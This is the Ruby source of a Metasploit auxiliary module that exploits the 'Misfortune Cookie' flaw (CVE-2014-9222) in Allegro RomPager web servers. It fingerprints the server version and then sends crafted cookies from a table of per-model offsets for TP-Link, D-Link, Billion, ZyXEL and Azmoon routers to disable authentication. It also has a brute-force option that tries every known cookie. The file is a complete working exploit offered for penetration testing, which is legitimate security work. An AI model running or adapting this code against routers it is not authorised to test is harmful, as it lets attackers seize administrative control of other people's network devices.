Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Authentication Bypass",
        'Description' => %q{
          This module exploits HTTP servers that appear to be vulnerable to the
          'Misfortune Cookie' vulnerability which affects Allegro Software
          Rompager versions before 4.34 and can allow attackers to authenticate
          to the HTTP service as an administrator without providing valid
          credentials.
        },
        'Author' => [
          'Jon Hart <jon_hart[at]rapid7.com>', # metasploit scanner module
          'Jan Trencansky <jan.trencansky[at]gmail.com>', # metasploit auxiliary admin module
          'Lior Oppenheim' # CVE-2014-9222
        ],
        'References' => [
          ['CVE', '2014-9222'],
          ['URL', 'https://web.archive.org/web/20191006135858/http://mis.fortunecook.ie/'],
          ['URL', 'https://web.archive.org/web/20190207102911/http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
          ['URL', 'https://web.archive.org/web/20190623150837/http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
        ],
        'DisclosureDate' => '2014-12-17',
        'License' => MSF_LICENSE
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'URI to test', '/']),
      ], Exploit::Remote::HttpClient
    )

    register_advanced_options(
      [
        Msf::OptBool.new('ForceAttempt', [ false, 'Force exploit attempt for all known cookies', false ]),
      ], Exploit::Remote::HttpClient
    )
  end

  def headers
    {
      'Referer' => full_uri
    }
  end

  # List of known values and models
  def devices_list
    known_devices = {
      :'AZ-D140W' =>
          {
            name: 'Azmoon', model: 'AZ-D140W', values: [
              [107367693, 13]
            ]
          },
      :'BiPAC 5102S' =>
            {
              name: 'Billion', model: 'BiPAC 5102S', values: [
                [107369694, 13]
              ]
            },
      :'BiPAC 5200' =>
            {
              name: 'Billion', model: 'BiPAC 5200', values: [
                [107369545, 9],
                [107371218, 21]
              ]
            },
      :'BiPAC 5200A' =>
            {
              name: 'Billion', model: 'BiPAC 5200A', values: [
                [107366366, 25],
                [107371453, 9]
              ]
            },
      :'BiPAC 5200GR4' =>
            {
              name: 'Billion', model: 'BiPAC 5200GR4', values: [
                [107367690, 21]
              ]
            },
      :'BiPAC 5200SRD' =>
            {
              name: 'Billion', model: 'BiPAC 5200SRD', values: [
                [107368270, 1],
                [107371378, 3],
                [107371218, 13]
              ]
            },
      :'DSL-2520U' =>
            {
              name: 'D-Link', model: 'DSL-2520U', values: [
                [107368902, 25]
              ]
            },
      :'DSL-2600U' =>
            {
              name: 'D-Link', model: 'DSL-2600U', values: [
                [107366496, 13],
                [107360133, 20]
              ]
            },
      :'TD-8616' =>
            {
              name: 'TP-Link', model: 'TD-8616', values: [
                [107371483, 21],
                [107369790, 17],
                [107371161, 1],
                [107371426, 17],
                [107370211, 5],
              ]
            },
      :'TD-8817' =>
            {
              name: 'TP-Link', model: 'TD-8817', values: [
                [107369790, 17],
                [107369788, 1],
                [107369522, 25],
                [107369316, 21],
                [107369321, 9],
                [107351277, 20]
              ]
            },
      :'TD-8820' =>
            {
              name: 'TP-Link', model: 'TD-8820', values: [
                [107369768, 17]
              ]
            },
      :'TD-8840T' =>
            {
              name: 'TP-Link', model: 'TD-8840T', values: [
                [107369845, 5],
                [107369790, 17],
                [107369570, 1],
                [107369766, 1],
                [107369764, 5],
                [107369688, 17]
              ]
            },
      :'TD-W8101G' =>
            {
              name: 'TP-Link', model: 'TD-W8101G', values: [
                [107367772, 37],
                [107367808, 21],
                [107367751, 21],
                [107367749, 13],
                [107367765, 25],
                [107367052, 25],
                [107365835, 1]
              ]
            },
      :'TD-W8151N' =>
            {
              name: 'TP-Link', model: 'TD-W8151N', values: [
                [107353867, 24]
              ]
            },
      :'TD-W8901G' =>
            {
              name: 'TP-Link', model: 'TD-W8901G', values: [
                [107367787, 21],
                [107368013, 5],
                [107367854, 9],
                [107367751, 21],
                [107367749, 13],
                [107367765, 25],
                [107367682, 21],
                [107365835, 1],
                [107367052, 25]
              ]
            },
      :'TD-W8901GB' =>
            {
              name: 'TP-Link', model: 'TD-W8901GB', values: [
                [107367756, 13],
                [107369393, 21]
              ]
            },
      :'TD-W8901N' =>
            {
              name: 'TP-Link', model: 'TD-W8901N', values: [
                [107353880, 0]
              ]
            },
      :'TD-W8951ND' =>
            {
              name: 'TP-Link', model: 'TD-W8951ND', values: [
                [107369839, 25],
                [107369876, 13],
                [107366743, 21],
                [107364759, 25],
                [107364759, 13],
                [107364760, 21]
              ]
            },
      :'TD-W8961NB' =>
            {
              name: 'TP-Link', model: 'TD-W8961NB', values: [
                [107369844, 17],
                [107367629, 21],
                [107366421, 13]
              ]
            },
      :'TD-W8961ND' =>
            {
              name: 'TP-Link', model: 'TD-W8961ND', values: [
                [107369839, 25],
                [107369876, 13],
                [107364732, 25],
                [107364771, 37],
                [107364762, 29],
                [107353880, 0],
                [107353414, 36]
              ]
            },
      :'P-660R-T3 v3' => # This value works on devices with model P-660R-T3 v3 not P-660R-T3 v3s
            {
              name: 'ZyXEL', model: 'P-660R-T3', values: [
                [107369567, 21]
              ]
            },
      :'P-660RU-T3 v2' => # Couldn't verify this
            {
              name: 'ZyXEL', model: 'P-660R-T3', values: [
                [107369567, 21]
              ]
            },
      ALL => # Used when `ForceAttempt` === true
            { name: 'Unknown', model: 'Forced', values: [] }
    }
    # collect all known cookies for a brute force option
    all_cookies = []
    known_devices.collect { |_, v| v[:values] }.each do |list|
      all_cookies += list
    end
    known_devices[:ALL][:values] = all_cookies.uniq
    known_devices
  end

  def check_response_fingerprint(res, fallback_status)
    fp = http_fingerprint(response: res)
    vprint_status("Fingerprint: #{fp}")
    # ensure the fingerprint at least appears vulnerable
    if %r{RomPager/(?<version>[\d.]+)} =~ fp
      vprint_status("#{peer} is RomPager #{version}")
      if Rex::Version.new(version) < Rex::Version.new('4.34') && /realm="(?<model>.+)"/ =~ fp
        return model
      end
    end
    fallback_status
  end

  def run
    res = send_request_raw(
      'uri' => normalize_uri(target_uri.path.to_s),
      'method' => 'GET'
    )
    model = check_response_fingerprint(res, Exploit::CheckCode::Detected)
    if model != Exploit::CheckCode::Detected
      devices = devices_list[model.to_sym]
      devices = devices_list[:ALL] if devices.nil? && datastore['ForceAttempt']
      if !devices.nil?
        print_good("Detected device:#{devices[:name]} #{devices[:model]}")
        devices[:values].each do |value|
          cookie = "C#{value[0]}=#{'B' * value[1]}\x00"
          res = send_request_raw(
            'uri' => normalize_uri(target_uri.path.to_s),
            'method' => 'GET',
            'headers' => headers.merge('Cookie' => cookie)
          )
          if !res.nil? && (res.code <= 302)
            print_good('Good response, please check host, authentication should be disabled')
            break
          else
            print_error('Bad response')
          end
        end
      else
        print_error("No matching values for fingerprint #{model}")
      end
    else
      print_error('Unknown device')
    end
  end
end